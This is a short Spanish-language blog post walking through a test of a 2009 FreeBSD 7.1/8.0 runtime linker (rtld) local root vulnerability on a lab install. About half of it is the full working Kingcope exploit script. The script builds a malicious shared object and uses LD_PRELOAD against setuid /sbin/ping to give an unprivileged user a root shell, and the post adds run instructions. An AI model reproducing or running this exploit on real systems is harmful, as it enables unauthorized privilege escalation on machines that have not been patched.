Introducción.
El día de ayer me enteré que habían descubierto una vulnerabilidad en FreeBSD, mas específicamente en editor de enlace en tiempo real (rtld) que le permite a cualquier usuario local convertirse en root.
Este fallo afecta a las versiones 7.1 y 8 (Amnesiac) de FreeBSD.
La presente es una prueba, rápida y sencilla del exploit para ver como funcionaba.
Instalación.
Descargué la imagen ISO del disco #1 de FreeBSD versión 8 del siguiente enlace.
ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/8.0/
En el momento de instalarlo es necesario incluír el soporte para el desarrollo de aplicaciones en C ya que es necesario compilar y enlazar un pequeño programa con gcc.
Ejecución.
Ingrese como un usuario sin privilegios en el sistema, en mi caso, el usuario jimezam el cual ni siquiera puede intentar convertirse en root mediante la invocación a su.
Cree u obtenga el archivo w00t.sh con el código fuente del exploit, dispuesto a continuación.
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./envModifique su permiso de ejecución.
$ chmod +x w00t.sh
Invoque el script.
Note como el usuario propietario de la sesión ha obtenido privilegios de administrador.
El bug ha sido entonces exitosamente explotado.
Enlaces.
- FreeBSD local r00t zeroday.
http://seclists.org/fulldisclosure/2009/Nov/371 - FreeBSD – The power to serve.
http://www.freebsd.org/







Pingback: Parchando FreeBSD 8.0 contra la vulnerabilidad del rtld (noviembre 30 de 2009) | Jorge Iván Meza Martínez